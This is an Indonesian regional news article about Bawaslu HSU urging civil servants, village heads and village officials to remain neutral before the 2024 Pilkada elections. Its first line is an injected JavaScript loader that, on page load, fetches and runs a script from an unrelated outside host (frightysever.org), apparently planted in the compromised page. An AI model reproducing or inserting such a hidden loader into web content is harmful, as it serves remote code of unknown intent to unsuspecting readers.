(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bawaslu HSU: Netralitas ASN, Lurah, Kades hingga Aparatur Desa

KANALKALIMANTAN.COM, AMUNTAI – Badan Pengawas Pemilihan Umum (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) ingatkan netralitas Aparatur Sipil Negara (ASN), kepala desa (Kades), lurah, dan perangkat pemerintahan desa menjelang Pilkada 2024.

Hal itu diungkapkannya saat membuka sosialisasi pengawasan Pemilu, netralitas ASN pemerintahan desa dan kelurahan se Kecamatan Amuntai Tengah yang digelar Panitia Pengawas Kecamatan (Panwascam) Amuntai Tengah, di aula Hotel Grand Balqis Amuntai, Selasa (20/8/2024).

Ketua Bawaslu HSU Marfa’i mengatakan terkait pengawasan penyelenggara Pemilu menjadi tanggung jawab bersama Bawaslu, sesuai dengan UU Nomor 7 tahun 2019 dan Peraturan Bawaslu Nomor 5 tahun 2022.

“Selaku aparatur negara, baik itu ASN, kepala desa, aparat desa ada kewajiban netral, meskipun memiliki hak pilih, tetapi didalam konteks sikap, tindakan, perbuatan ini yang dikehendaki negara sesuai undang-undang yaitu netral,” jelas Marfa’i.

Marfa’i menambahkan ASN memiliki asas netralisasi yang diamanatkan dalam Undang-Undang Nomor 5 tahun 2014 tentang ASN dilarang menjadi anggota dan atau pengurus partai politik. ASN juga diamanatkan untuk tidak berpihak dari segala bentuk pengaruh manapun dan tidak memihak kepada kepentingan.

“Kenapa harus netral, karena aparatur negara bertugas melayani masyarakat, baik itu aparat desa maupun lembaga-lembaga yang lain,” katanya.

ASN merupakan perangkat pimpinan paling dasar dalam hirarki pemerintahan sebab menjadi figur sentral dan rujukan di masyarakat yang sifatnya harus mengayomi. Maka mereka harus menempatkan diri sesuai mandat Undang-Undang serta tidak mengambil bagian dari peserta Pemilu yang bisa menguntungkan salah satu peserta Pemilu.

“ASN perlu mencermati potensi gangguan netralitas yang bisa terjadi. Oleh karena itu, Pilkada tidak hanya harus terlaksana tetapi juga harus taat asas langsung, umum, bebas, rahasia, jujur dan adil,” imbuhnya.

“Karena tanggung jawab Pemilu ataupun Pilkada tidak semata-mata tanggung jawab penyelenggara, akan tetapi sudah menjadi tanggung jawab semua,” tandasnya.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie